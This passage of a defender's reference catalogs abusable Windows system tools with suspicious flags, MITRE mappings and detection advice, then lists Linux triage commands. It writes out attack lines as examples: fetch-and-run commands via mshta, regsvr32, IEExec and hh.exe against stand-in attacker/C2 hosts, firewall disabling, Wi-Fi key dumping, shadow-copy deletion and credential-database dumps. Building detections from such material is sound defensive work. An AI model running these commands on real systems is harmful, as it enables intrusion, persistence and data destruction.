gacutil.exe (third-party, .NET SDK)	Installs assemblies into the Global Assembly Cache	/i <assembly.dll>; /if force; /u <assembly>; /il <list.txt>	Registers attacker .NET assemblies so they load at runtime, GAC abuse for stealth persistence	T1547

Reconnaissance & network

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
getmac.exe	Prints MAC addresses (local/remote)	/s <host> /u <user> /p <pass>	Remote network/enumeration sweep and lateral-movement prep; odd against many hosts	T1016
hostname.exe	Prints the computer name	(none, invoked in batch)	Host fingerprinting inside scripts right before lateral movement	T1082
ipconfig.exe	Shows TCP/IP configuration	/all; /displaydns; /flushdns	Network/DNS-cache recon; /flushdns wipes evidence of malicious DNS lookups	T1016
Get-WmiObject (gwmi, PowerShell)	Queries WMI classes locally/remotely	gwmi Win32_Process, Win32_Service, Win32_ComputerSystem -ComputerName <host>	Remote WMI enumeration of processes/services/users; pairs with wmiexec-style execution	T1047

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
gpresult.exe	Shows applied Group Policy	/R /Z /H <report.html> /USER <user>	Maps the domain's policy landscape (GPO discovery) before targeting	T1615

Group Policy operations

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
gpupdate.exe	Forces a policy refresh	/force /target:user /sync /boot	Instantly applies attacker-modified GPOs, its presence implies prior GPO tampering	T1484.001

Credential access

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
klist.exe	Lists/purges cached Kerberos tickets	klist get <SPN> (e.g. klist get cifs/DC01); klist purge; klist tgt; klist -li 0x3e7	get <SPN> force-requests a TGS per SPN, Kerberoasting prep (4769 spikes); purge flushes tickets to force re-auth	T1558.003
ksetup.exe	Configures Kerberos realm/domain mapping	/setdomain <realm>; /mapuser <principal> <acct>; /addkdc	Redirects authentication to an attacker-controlled realm (ticket redirection)	T1558.002
ktpass.exe	Creates service-account SPN mappings/keytabs	/mapuser <acct> /pass <pw> /ptype KRB5_NT_PRINCIPAL /out <file.keytab>	Exports service account keys into keytabs, key extraction for credential forging	T1558.002

Persistence & services

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
lodctr.exe	Registers performance counter DLLs	/M:<manifest.xml> (install counter provider); /r (rebuild counter registry)	Manifest points at an attacker DLL loaded as a perf-counter provider (boot-time load); /r with a crafted config tampers counter registry to blind monitoring	T1112 / T1547
logman.exe	Manages ETW sessions / data collector sets	logman create counter <name> -rc <task> -u <user> -b/-e <time> -r	-rc runs a scheduled task every time the log closes, recurring command execution / persistence disguised as perf logging	T1053.005
iisreset.exe	Stops/starts IIS and its services	/start /stop /restart /timeout <sec>	Restarts IIS to activate malicious ISAPI filters/modules or planted webshells	T1569.002

Defense evasion & anti-forensics

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
icacls.exe	Manages file/folder ACLs	<file> /grant Everyone:F /T /C /Q; /inheritance:r; /setowner; /remove	Loosens ACLs to drop/execute payloads; strips inherited ACLs to lock investigators out	T1222.001

Session management

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
logoff.exe	Logs off user sessions	logoff <sessionid> /server:<host>	Kills other users'/admins' sessions to hide activity or clear a hijack target	T1563

Detail: InstallUtil.exe

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\evil.dll
```

- `/logfile=`, empty value suppresses the install log, removing evidence.
- `/LogToConsole=false`, no console output.
- `/U`, uninstall mode: invokes the `Uninstall` method where `[RunInstaller(true)]` classes place payload code.
- Detect: Sysmon Event 1 / 4688 with `Image= InstallUtil.exe`, `OriginalFileName=InstallUtil.exe`, unusual parent (`cmd/PowerShell`) or child (`powershell.exe, cscript`); Microsoft-Windows-DotNETRuntime ETW for assembly loads.

Detail: hh.exe

```
hh.exe http://attacker/help.chm  
hh.exe C:\Users\Public\report.chm
```

- CHM files are HTML with scriptable Shortcut/ActiveX objects; opening one triggers embedded code execution inside `hh.exe` (spawns `mshta/cmd/powershell`).
- Detect: 4688/Sysmon Event 1, `Image= hh.exe` with non-help-file argument, or `hh.exe` spawning an interpreter (T1218.001); collect CHM origin (rare in enterprise, any CHM from email/web is suspect).

Detail: ieexec.exe

```
C:\Windows\Microsoft.NET\Framework\v2.0.50727\IEExec.exe http://attacker/test64.exe
```

- Signed .NET execution host that pulls and runs a managed assembly from a URL, bypasses AppLocker (only needs .NET CAS relaxed).
- Detect: 4688/Sysmon Event 1 with `Image= \ieexec.exe` and a URL/UNC argument; parent is typically browser or office app in phishing chains; AppLocker deny-list `IEExec.exe` (AaronLocker does).

Detail: ie4uinit.exe

```
xcopy C:\Windows\System32\ie4uinit.exe %APPDATA%\microsoft\  
echo [Strings]> %APPDATA%\microsoft\ie4uinit.inf  
%APPDATA%\microsoft\ie4uinit.exe -basesettings
```

- `-basesettings` is legitimate from System32; run from an attacker dir, it processes a crafted `ie4uinit.inf` to fetch/execute remote COM scriptlets (INF/SCT fetch-execute).
- Detect: Sysmon Event 1 / 4688, `Image= \ie4uinit.exe` with `CurrentDirectory` NOT `c:\windows\system32\syswow64` (Sigma rule "Ie4uinit Lolbin Use From Invalid Path"); correlate `ie4uinit.inf` writes in AppData.

Detail: iexpress.exe

```
iexpress /N /Q /M %TEMP%\payload.sed
```

- `/N` build package from SED script, `/Q` no prompts, `/M` minimized windows. The SED's `AppLaunched` field runs an arbitrary command (e.g. `CMD /C setup.exe`) after extraction; built package can be run `/Q /C:"cmd /c ..."`.
- Detect: 4688/Sysmon Event 1, `Image= iexpress.exe` on an analyst/user workstation (admin tool), especially with `/N /Q /M`; hunt child processes of freshly created `.exe` in Temp/Downloads.

Detail: lodctr.exe

```
lodctr /M:evilmanifest.xml
lodctr /r
```

- `/M:<manifest>` registers a v2.0 perf-counter provider; the DLL path is resolved from manifest/current dir, attacker DLL loaded as counter provider (boot persistence). `/r` rebuilds counter registry values, which a malicious config can overwrite to blind monitoring.
- Detect: 4688/Sysmon Event 1 with Image=`lodctr.exe` and `/M:` or `/r` (Sigma "Rebuild Performance Counter Values Via Lodctr.EXE"); Sysmon Event 7 image loads of non-System32 DLLs after lodctr run; baseline counter manifests.

Detail: logman.exe

```
logman create counter EvDCS -c "\Process(*)\ID Process" -si 5 -f bin -o C:\PerfLogs\ev.bin -rc "evtask" -u user -p pass -b 06:00:00 -e 07:00:00 -r
```

- `-rc <task>` runs the named scheduled task every time the data collector log closes, attacker creates a benign-looking counter set whose `-rc` task executes arbitrary commands repeatedly; `-u` runs as a chosen account; `-b/-e/-r` schedule it.
- Detect: 4688/Sysmon Event 1, Image=`logman.exe` with `create` + `-rc` (rare for admins); correlate scheduled-task creation (4698) within minutes of a logman create; Event 100 in Microsoft-Windows-Diagnostics-Performance/Operational for collector status.

Detail: icacLS.exe

```
icacLS C:\Users\Public\payload.exe /grant Everyone:F /T /C /Q
icacLS C:\Windows\Temp /inheritance:r /setowner attacker
```

- `/grant Everyone:F` opens files for mass execution; `/inheritance:r` strips inherited ACLs (anti-forensics, locks out SOC/IR); `/setowner` stealth-takes ownership; `/T /C /Q` recurse/continue/quiet.
- Detect: Sysmon Event 1 for `icacLS` (rare on endpoints); Sysmon Event 4663/4688 + SACL; hunt `/grant` containing Everyone/Anonymous; changes under System32 or admin shares are high value.

Detail: lpksetup.exe

```
%APPDATA%\lpksetup.exe /i * /s /p \\attacker\langs
```

- `/i *` install all packs, `/s` silent (no GUI), `/p` source path. Loads DLLs from its own directory, an attacker-placed `lpksetup.dll` is sideloaded; silent install from a remote share indicates tampering.
- Detect: 4688/Sysmon Event 1, Image=`lpksetup.exe` from a non-System32 path or with `/p \\ UNC`; Event 1005 (language-pack install/removal) in setup log; file writes of `lpksetup.dll` near the binary.

Detail: klist.exe

```
klist get cifs/srv01.contoso.com
klist purge
klist tgt
```

- `get <SPN>` requests a service ticket for any SPN, the TGS-request primitive Kerberoasting relies on; `purge` wipes cached tickets (forces fresh re-auth, obscures ticket theft); `tgt` inspects the TGT.
- Detect: Windows Security 4769 (TGS requests), abnormal volume/SPN patterns; 4688 for `klist get <SPN>` on workstations; hash-cracking correlation for service accounts (T1558.003).

Section 1 (cont. 4): Windows Native Tool Catalog M-Z, Suspicious Parameters

Download & Execution

Tool	Normal purpose	Suspicious flags / parameters
msbuild	Builds .NET projects (Visual Studio compiler)	<payload>.csproj file arg; /p:... properties
msdt	Runs Microsoft Support Diagnostics packages	ms-msdt:/id PCWDiagnostic /skip /param "IT_BrowseForFile=..."; msdt.exe /id <diag> /filename <file>
mshta	Runs HTML Applications (HTA)	<url>.hta, javascript:..., vbscript:...
msiexec	Installs/uninstalls MSI packages	/i <evil.msi> /qn /quiet, /a, /j, /x
odbcconf	Configures ODBC drivers/data sources	/S /A {regsvr <dll>}
psexec	Remote process execution (Sysinternals) (third-party)	\\host -u user -p pass <cmd>
regasm	Registers .NET assemblies as COM	<dll>, /U <dll>
regsvcs	Installs .NET services into COM+	<dll>
regsvr32	Registers COM DLLs	/s /n /u /i:<url>.sct scrobj.dll
rundll32	Runs DLL entry points	javascript:"..\mshtml,RunHTMLApplication ";..., <dll>,<entry>
syncappvpublishingserver	App-V publishing server client (App-V component; absent without App-V)	"n;(New-Object Net.WebClient).DownloadString('http://x/a.ps1') IEX"
wmic	WMI management CLI (deprecated; removed by default on Win11 24H2/ Server 2025)	process call create "cmd /c ...", /node:<host>, /user:<u> /password:<p>

Tool	Normal purpose	Suspicious flags / parameters
wscript	Runs VBS/JS scripts (GUI host)	<script.vbs>, //nologo //e:vbscript
wuauctl	Windows Update AutoUpdate client (legacy; absent on Win11)	/UpdateDeploymentProvider <dll> /RunHandlerComServer
wsreset	Resets Windows Store cache	run bare after pre-setting HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command

Reconnaissance & Network Discovery

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
msinfo32	System information collector	/report <file>, /computer <host>	Dumps OS/host data to file for staging	T1082
nbtstat	NetBIOS name/cache queries	-a <host>, -A <ip>, -c	Enumerate NetBIOS names/sessions for pivoting	T1018
net	Network/account/service management suite	user x p /add, localgroup administrators x /add, group ... /domain, share, use \\h\c\$, time	Account creation, privesc, share enumeration, SMB lateral movement	T1087/ T1069/ T1018
netdom	Domain join/query utility	query workstation /domain:<dom>, query fsmo	AD domain/FSMO recon without offensive tooling	T1482
netstat	Displays network connections	-ano, -b	Map listening ports and established C2 connections	T1049
nltest	NT LAN Manager domain utility	/dclist:<dom>, /dsgetdc:<dom>, /domain_trusts /all_trusts	Enumerate DCs/trusts (pre-BloodHound recon)	T1482
nslookup	DNS lookup client	-type=TXT <sub>.<dom> <server>; long/random labels	DNS TXT exfil and C2 channel; manual DNS recon	T1071.001
openfiles	Lists files opened locally/remotely (needs admin + "maintain objects list" enabled)	/query /fo csv /v, /disconnect /id <id>	Enumerate open files/shares; drop victim connections	T1083
pathping	Ping+tracert route analyzer	<host>, -n	Low-noise latency/route profiling	T1049
ping	ICMP reachability test	-t <host> long-running; odd -n 1 -l <size>	Beacon timing/C2 channel; reachability scans	T1049
quser	Lists logged-on users	/server:<host>	Identify session targets for lateral movement	T1033
query	Queries sessions/processes	user, session, process, termserver	Logged-on user/session enumeration (qwinsta alias)	T1033
rpcping	RPC connectivity tester	/s <host>, /u <user> /p <pass>	RPC service probing and credential testing	T1018
route	Manipulates IP routing table	print, add <dest> mask <mask> <gw>	Route changes for tunneling/exfil paths	T1016
systeminfo	Dumps OS/hardware/patch info	(none needed); /s <host> /u <u> /p <p>	Host recon: build, patch level, hostname	T1082
tasklist	Lists running processes	/v /svc, /s <host> /u /p, /fi "imagename eq ..."	Process/AV-EDR inventory; remote enumeration	T1057

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
tracert	Traceroute	-d <host>	Network topology mapping	T1016
where	Locates files	/r <dir> <pattern>	Find writable binaries/tools; binary discovery	T1083
whoami	Shows current user/context	/all, /priv, /groups, /user	Privilege/group recon before privesc	T1033

Remote Access & Lateral Movement

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
mstsc	Remote Desktop client	/v:<host>, /admin	RDP-based remote access/lateral movement	T1021.001
winrm	WinRM client/management	invoke Create wmicimv2/Win32_Process @{CommandLine="cmd /c ..."} -r:<host>	Native WinRM remote exec over 5985/5986	T1021.006

Persistence & Services

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
mofcomp	Compiles WMI MOF files	<file>.mof	Malicious MOF installs WMI event-subscription persistence	T1546.003
pnputil	Driver package management	/add-driver <inf> /install, /delete-driver <inf>	Install or remove kernel drivers (rootkit helpers)	T1547.006
reg	Registry console tool	add HKLM\... /v <n> /t <t> /d <d> /f, save HKLM\SAM <file>, export, query	Persistence keys, SAM/ SYSTEM hive theft, config tampering	T1112/ T1003.002
regedit	Registry editor/import-export	/s <file.reg> (silent import), /e <file> (export)	Silent policy/startup-key injection; hive staging	T1112
regini	Scripted registry modification (legacy; dropped from default modern Windows)	<script.ini>, -m \\host <file>	Bulk/remote registry edits without reg	T1112
sc	Service control manager	create <svc> binPath= "cmd.exe / c ..." start= auto, config, start, \\host start	Service persistence/ privesc (note: space required after =)	T1569.002
schtasks	Scheduled task management	/create /tn <n> /tr "cmd / c ..." /sc onlogon onstart minute /ru SYSTEM /rl highest /f	Persistence with SYSTEM-level execution	T1053.005

Credential Access

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
ntdsutil	Active Directory database utility	"activate instance ntds" "ifm" "create full <dir>"	Offline ntds.dit dump, full domain credential theft	T1003.003
runas	Runs a program as another user	/user:DOMAIN\user <cmd>, /netonly / user:..., /savecred	Privilege/domain escalation; saved-credential abuse	T1078

Defense Evasion & Anti-Forensics

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
mklink	Creates symbolic links/junctions	/D <link> <target>, /J <link> <target>	Path redirection to evade controls; junction UAC bypass	T1006

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
netsh	Network/firewall/WLAN configuration	advfirewall set allprofiles state off, wlan show profile <SSID> key=clear, interface portproxy add v4tov4 listenport=<p> connectaddress=<ip>, advfirewall firewall add rule ... action=allow	Firewall disable, Wi-Fi password theft, portproxy tunneling/persistence	T1562.001/T1008/T1543
subst	Maps a drive letter to a folder	<X:> <dir>, /d X:	Obscure paths to evade path-based detections	T1006
takeown	Takes ownership of files	/f <path> /a /r /d y	Own protected files (AV/EDR binaries, hives)	T1222
taskkill	Kills processes	/f /im <proc>, /pid <id>, /t, /s \\host	Kill AV/EDR/agents to stop detection	T1489
vssadmin	Volume Shadow Copy administration	delete shadows /all /quiet	Shadow-copy deletion, ransomware anti-recovery	T1490
wbadmin	Windows backup utility	delete backup -keepVersions:0	Wipe system backups before recovery extortion	T1490
wevtutil	Event log management	cl <log> / clear-log <log>, epl <log> <file>	Clear or export audit logs, anti-forensics	T1070.001

File & Data Operations

Tool	Normal purpose	Suspicious flags / parameters	Attacker use (why it is a red flag)	MITRE
makecab	Creates CAB archives	<file>, /f <list.txt>, /d CabinetName=...	Archive/compress staged data before exfil	T1560.001
mountvol	Mounts volumes without drive letters	<path> \?\Volume{GUID}	Mount hidden volumes; volume enumeration	T1006
printbrm	Print backup/restore migration tool	-b -d <dir> -f <out.zip>, -r -f <zip> -d <dir>	Compress/extract arbitrary files (incl. ADS) for staging	T1560
psr	Problem Steps Recorder	/start /output <file.zip> /sc 1 /gui 0 (stop with /stop)	Silent screenshot/activity recording of user session	T1113
replace	Replaces files in destination dir	/a (add), /r, /w, /s	Overwrite legitimate binaries with malware copies	T1565
robocopy	Robust file copy/mirror	<src> <dest> /E /MIR /COPYALL /R:0 /W:0	Bulk collection/staging; mirror victim shares	T1005
secedit	Security policy editor	/export /cfg <file>	Dump local security/password policy for targeting	T1082
sort	Sorts text files/stdin	< file, /o <out>, /unique, /rec <n>	File-read/redirect gadget; data staging	T1005
tftp	TFTP client (optional feature, often absent)	-i <host> GET <file> / PUT	Legacy file transfer to/from C2	T1105
type	Prints file contents	<file>	Read data files for staging/exfil	T1005
xcopy	Extended file copy	<src> <dest> /E /H /I /Y /Q /C	Recursive data staging/collection	T1005

Detail Blocks, Most-Abused Tools (M-Z)

msbuild: signed MS build engine; runs attacker C# without dropping an exe.

```
msbuild.exe C:\Users\Public\payload.csproj
```

- No flag needed, the attacker-supplied project file is the payload; inline `<Code>` C# task compiles and executes in-proc. `/p:...` can smuggle payload data as properties.

- Detect: EID 4688/Sysmon EID 1, msbuild.exe parented by Office/browser or spawning csc.exe, plus outbound HTTP. Enable ProcessCommandLine audit.

msdt: Microsoft Support Diagnostic Tool, abused via `ms-msdt:` URI (Follina).

```
ms-msdt:/id PCWDiagnostic /skip /param "IT_RebrowseForFile=?IT_LaunchMethod=ContextMenu IT_BrowseForFile=C:\temp\evil.html"
```

- `/id` selects the diagnostic package; `/skip` skips the prompt; `/param` passes an `IT_RebrowseForFile` URL that loads a remote/scripted HTML payload.
- Detect: Sysmon EID 1, msdt.exe with `/param` or childed to Word/Outlook; EID 4688; Sigma covers msdt with suspicious args.

mshta: HTML Application host; scripted payload launcher.

```
mshta.exe "javascript:new ActiveXObject('WScript.Shell').Run('cmd /c powershell -ep bypass')"
```

```
mshta.exe http://C2/payload.hta
```

- `javascript:/vbscript:` execute inline script in the HTML Application engine; a URL arg downloads and runs an HTA directly.
- Detect: Sysmon EID 1 (mshta child of Office/browser, or mshta spawning cmd/powershell); EID 3 network to non-corporate hosts.

msiexec: Windows Installer; silent MSI payload delivery.

```
msiexec.exe /i C:\Temp\evil.msi /qn /quiet
```

- `/i` installs the MSI; `/qn` fully quiet (no UI), so users never see the install; `/a` administrative install extracts MSI contents; `/j` advertises.
- Detect: Sysmon EID 1 for msiexec with `/i` + `/qn` from user-writable dirs; EID 4688; MSI packages named after legit vendors; MsiInstaller EID 11707/11724.

netsh: firewall/network control plane; three classic abuses:

```
netsh advfirewall set allprofiles state off
```

```
netsh wlan show profile "CompanyWiFi" key=clear
```

```
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=445
```

```
connectaddress=192.168.1.50
```

- First disables the firewall on all profiles; second reveals stored WPA/WPA2 keys in plaintext; third creates a persistent TCP proxy (tunneling/pivoting).
- Detect: EID 4688/Sysmon EID 1 command-line logging; EID 5156/5157 firewall activity; portproxy persistence lives in `HKLM\SYSTEM\...\PortProxy`.

regsvr32: Squiblydoo: scriptlet download-and-execute through a signed binary.

```
regsvr32.exe /s /n /u /i:http://C2/payload.sct scrobj.dll
```

- `/s` silent, `/n` no registry registration, `/u` unregister (still executes), `/i:` supplies the remote SCT URL; `scrobj.dll` is the scriptlet host.
- Detect: Sysmon EID 1, regsvr32.exe with `/i:` and `scrobj.dll`, child processes spawned from regsvr32; EID 3 HTTP(S) egress to rare hosts.

rundll32: signed DLL entry-point runner; inline scripting via mshtml.

```
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();new
```

```
ActiveXObject("WScript.Shell").Run("powershell -nop -w hidden -c ...")
```

- The `javascript:"..\mshtml,RunHTMLApplication "` prefix hands script to IE's HTML Application engine; arbitrary `<dll>`, `<entry>` calls execute any exported function.
- Detect: Sysmon EID 1, rundll32 spawning powershell/cmd (near-never legitimately); EID 7 module loads of `mshtml.dll`; command-line contains `javascript:`.

schtasks: scheduled tasks for SYSTEM persistence and evasive re-execution.

```
schtasks.exe /create /tn "SysUpdate" /tr "powershell -nop -w hidden -enc <base64>" /sc onlogon /ru SYSTEM /rl highest /f
```

- /create makes the task; /tr is the command; /sc trigger (onlogon/onstart/minute); /ru SYSTEM + /rl highest gives top privilege; /f overwrites silently.
- Detect: Security EID 4698 (task created) with attacker task names; Sysmon EID 1 for schtasks.exe; correlate with TaskScheduler EID 106/200/201.

vssadmin: shadow-copy deletion, the ransomware signature.

```
vssadmin.exe delete shadows /all /quiet
```

- /delete shadows /all removes every volume shadow copy (the last no-UI backup source); /quiet suppresses confirmation prompts.
- Detect: Sysmon EID 1 containing vssadmin + delete shadows; Sysmon EID 23/26 file deletions in \\? \GLOBALROOT\Device\HarddiskVolumeShadowCopy*; treat as imminent-encryption indicator.

wmic: WMI process creation, local and remote (deprecated; absent by default on Win11 24H2+/Server 2025).

```
wmic.exe process call create "cmd /c whoami > \\host\share\out.txt"  
wmic.exe /node:TARGET /user:DOMAIN\user /password:pass process call create "cmd /c calc"
```

- process call create executes any command through WMI; /node: targets remote hosts; /user:/password: passes credentials for remote WMI.
- Detect: Sysmon EID 1, wmic.exe with process call create (wmic is never a legit app parent); WMI-Activity EID 5861; remote WMI shows as network EIDs 4624/4634 logons.

Section 2: Linux

Persistence

```
atq ; at -l
ls -la /var/spool/at /var/spool/cron/atjobs 2>/dev/null # path differs by distro (verify)
```

Why it matters: Pending and past one-shot `at` jobs. **Red flags:** Jobs owned by odd users, spool files with recent mtimes, jobs referencing `/tmp` binaries (T1053.002).

```
systemctl list-timers --all
systemctl cat <timer-unit>
```

Why it matters: systemd timers, the modern cron replacement often skipped in cron-only checks. **Red flags:** `OnCalendar=*:*:*` (every-minute), `ExecStart` pointing to `/tmp` or a script, timers enabled but never firing as expected, timers created around incident time (T1053.006, T1543.002).

```
systemctl list-unit-files --state=enabled
```

Why it matters: Everything enabled to run at boot or on events, one page of the persistence landscape. **Red flags:** Units you do not recognize; names mimicking legit units (`sshd.service`, `systemd-update.service`) (T1543.002, T1036).

```
cat /etc/rc.local
ls -la /etc/rc*.d/ | head -60
ls -la /etc/init.d/ | head -60
```

Why it matters: SysV boot scripts; `rc.local` is a favorite drop spot (disabled by default on modern Debian, verify service exists). **Red flags:** `rc.local` containing `curl/exec/od` binaries, `S`-symlinks in `rc*.d` pointing to `/tmp` or unexpected scripts (T1547).

```
cat ~/.bashrc ~/.bash_profile ~/.profile ~/.zshrc 2>/dev/null
ls -la /etc/profile.d/ ; cat /etc/profile.d/* 2>/dev/null
grep -R 'LD_PRELOAD\|curl\|wget\|nc \|base64' /etc/profile* /etc/bash.bashrc ~/.bashrc ~/.profile 2>/dev/null
```

Why it matters: Login-time command injection for every interactive session. **Red flags:** Aliases redefining `ls/sudo`, `export LD_PRELOAD=...`, payloads fetched at login, rc files with mtimes near incident (T1546.004).

```
cat /root/.ssh/authorized_keys
find /home -name authorized_keys -type f -exec ls -la {} \; 2>/dev/null
find /home -name authorized_keys -type f -exec cat {} \; 2>/dev/null
```

Why it matters: SSH key persistence, silent access that survives reboots. **Red flags:** Keys you did not create, keys owned by other users, key files with recent mtimes, comments that do not match the account (T1098).

```
grep -E 'PermitRootLogin|AuthorizedKeysFile|PasswordAuthentication|Include' /etc/ssh/sshd_config
```

Why it matters: SSH daemon config sanity, modified config means ongoing access. **Red flags:** `PermitRootLogin yes`, `AuthorizedKeysFile` pointing somewhere odd, extra `Include` lines pulling in other files (T1098, T1078).

```
cat /etc/ld.so.preload
env | grep -iE 'LD_PRELOAD|LD_AUDIT|LD_LIBRARY_PATH'
```

Why it matters: Global and per-process library preloading, intercepts every exec'd process. **Red flags:** Any content at all in `/etc/ld.so.preload` (normally empty/absent), `preload.so` in `/tmp` or `/var/tmp`, `env`-based `LD_PRELOAD` on daemons (T1574.006).

```
cat /etc/pam.d/common-auth      # Debian/Ubuntu
cat /etc/pam.d/system-auth      # RHEL
grep -R 'pam_unix\|pam_permit\|pam_exec' /etc/pam.d/ 2>/dev/null
```

Why it matters: Authentication stack; tampering can backdoor all logins. **Red flags:** `pam_permit.so` lines, `pam_exec.so` calling a script, duplicated/reordered `pam_unix.so` lines, new files in `/etc/pam.d` (T1556.006).

```
find / -xdev -perm -4000 -type f 2>/dev/null -ls
find / -xdev -perm /6000 -type f 2>/dev/null -ls
```

Why it matters: Setuid/setgid binaries, instant privilege elevation if planted. **Red flags:** `+s` files in `/tmp`, `/var/tmp`, `/home`, or copies of `bash/python` with the setuid bit (T1548.001).

```
getcap -r / 2>/dev/null
```

Why it matters: File capabilities, the modern setuid equivalent. **Red flags:** `cap_setuid/cap_setgid/cap_sys_admin/cap_net_admin` on binaries in writable locations or on shells/interpreters (map: T1548.001).

```
grep -R 'RUN+=\|PROGRAM==' /etc/udev/rules.d/ 2>/dev/null
```

Why it matters: Device-event triggers run at hotplug/boot (no dedicated ATT&CK ID; commonly mapped to T1547). **Red flags:** Rules calling `/tmp` scripts, relative `RUN+=` paths (resolved against system dirs, a known trick), rules with recent mtimes.

```
ls -la /etc/update-motd.d/ 2>/dev/null ; cat /etc/update-motd.d/* 2>/dev/null
ls -la /etc/motd.d/ 2>/dev/null ; cat /etc/motd 2>/dev/null # motd.d on RHEL 8+ (verify)
```

Why it matters: Login banner scripts run for every login (map: T1547). **Red flags:** Executable motd scripts that fetch or execute payloads; motd text that looks like miner/ransom messaging.

```
ls -la <repo>/.git/hooks/
```

Why it matters: Repo-level code execution on git events; planted hooks run on checkout/commit/clone. **Red flags:** Any non-`.sample` hook that is executable, especially post-checkout/post-merge/pre-receive (no dedicated ID; map T1546/T1059.004).

```
tmux ls ; screen -ls
ls -la /tmp/tmux-* /tmp/screens 2>/dev/null
```

Why it matters: Attacker-held interactive sessions survive logout inside tmux/screen, and are visible. **Red flags:** Sessions owned by odd users, socket files with recent mtimes, sessions in user contexts you did not start (T1078, T1059.004).

Persistence scan order: cron spools → `/etc/cron` → *timers* → *enabled units* → *rc.local/rc.d* → shell rc → *authorized_keys* → *ld.so.preload* → PAM → setuid/caps → *udev/motd* → *at*.

Logs & Audit

```
journalctl -xe
```

Why it matters: Recent errors plus boot-log tail with hints, first stop for "what happened lately". **Red flags:** Service crashes just before incident timestamps, OOM kills (coinminer memory spikes), repeated restarts of odd units (T1562.001).

```
journalctl -k -b          # kernel ring buffer, current boot
journalctl -u sshd --since "2026-08-01" --until "2026-08-02"
journalctl --since "-4h" -p warning..emerg
```

Why it matters: Kernel messages and per-unit windows, correlate with incident time. **Red flags:** Kernel module loads (`insmod`), OOM during mining, unexpected network setup messages, unit logs that stop abruptly (T1547.006, T1070.002).

```
journalctl -f
```

Why it matters: Live tail during active triage. **Red flags:** Repeating patterns from odd sources; a sudden flood after you start investigating.

```
ls -la /var/log/journal/ 2>/dev/null
journalctl --disk-usage
```

Why it matters: Whether the journal persists across reboots and how much history exists. **Red flags:** Only /run/log/journal (volatile, logs lost on reboot; Storage=volatile set by attacker), tiny disk usage vs uptime (T1070.002).

```
tail -n 200 /var/log/auth.log      # Debian/Ubuntu
tail -n 200 /var/log/secure        # RHEL
grep -E 'Accepted|Failed password|session opened' /var/log/auth.log | tail -50
```

Why it matters: Authentication and session events, the core intrusion timeline. **Red flags:** Accepted logins from foreign IPs or odd hours, logins for service accounts, Failed password bursts followed by Accepted (T1110 → T1078).

```
tail -n 100 /var/log/syslog /var/log/messages
```

Why it matters: General syslog, cron runs, sudo, daemon errors. **Red flags:** Cron entries referencing unknown scripts, sudo sh -c invocations, repeated service restarts.

```
ls -la /var/log/ | head -40
```

Why it matters: Log inventory and sizes, rotation vs tampering. **Red flags:** Zero-byte logs that should have content, logs missing entirely, all logs trimmed to the same date (T1070.002).

```
tail -n 100 /var/log/apache2/access.log 2>/dev/null
tail -n 100 /var/log/nginx/access.log 2>/dev/null
grep -E '\.(sh|py|pl|cgi)\?\?' /var/log/apache2/access.log 2>/dev/null | tail -20
```

Why it matters: Web access logs, the initial-access vector (webshell upload, LFI/RCE). **Red flags:** GET/POST to .php?cmd=, base64 in query strings, large POSTs to scripts, curl/wget/python-requests user-agents hitting admin paths (T1190).

```
last -F -a | head -50          # /var/log/wtmp
lastb -F -a | head -30         # /var/log/btmp (root)
lastlog
w ; who -u
```

Why it matters: Successful logins (wtmp), failed logins (btmp), per-account last logins, live sessions. **Red flags:** Logins from IPs outside your ranges, (unknown) hosts, :0 console entries that should not exist, service accounts with recent lastlog entries, double sessions from one user (T1078, T1110).

```
last -f /var/run/utmp
```

Why it matters: Live session state (what w/who read). **Red flags:** Sessions with no matching network connection, local/pty sessions from odd sources (T1078).

```
auditctl -l      # ruleset
auditctl -s      # status
```

Why it matters: See what auditd is (not) capturing. **Red flags:** enabled=0 or empty ruleset where policy existed; auditd service stopped (T1562.001).

```
ausearch -ts today
ausearch -ts 08/10/2026 02:00:00 -te 08/10/2026 04:00:00 # MM/DD/YYYY format
ausearch -k <custom-key>
```

Why it matters: Pull audit records by time window or rule key, a precise incident timeline. **Red flags:** execve/write events matching attacker binaries; writes to /etc/cron*, /etc/systemd, /etc/ld.so.preload, authorized_keys (T1070).

```
ausearch -m avc -ts recent      # SELinux denials
ausearch -m USER_LOGIN -ts today
ausearch -m EXECVE -ts today
```

Why it matters: SELinux denials (blocked exploit attempts, a great IOC source), logins, executed commands. **Red flags:** AVC denials for suspicious binaries, USER_LOGIN from odd IPs (T1078).

```
aureport -x ; aureport -au ; aureport -i
```

Why it matters: Summaries, top executables, authentication activity, and interpreted output (names not IDs). **Red flags:** Executables in /tmp topping the exec report, repeated su/sudo failures, high sshd failure counts.

```
auditctl -w /etc/passwd -p wa -k passwd-watch
auditctl -a always,exit -F arch=b64 -S execve -k exec
```

Why it matters: Add focused rules to catch ongoing activity (transient unless persisted in /etc/audit/rules.d or audit.rules). **Red flags:** Rule addition fails with EPERM, auditd down or capability stripped (T1562.001).

```
faillock --user <user>          # RHEL 8+/modern (verify on version)
pam_tally2 --user <user>        # legacy; removed on newer Ubuntu/RHEL 9
```

Why it matters: Lockout counters for failed logins. **Red flags:** High fail counts right before a successful login (T1110).

```
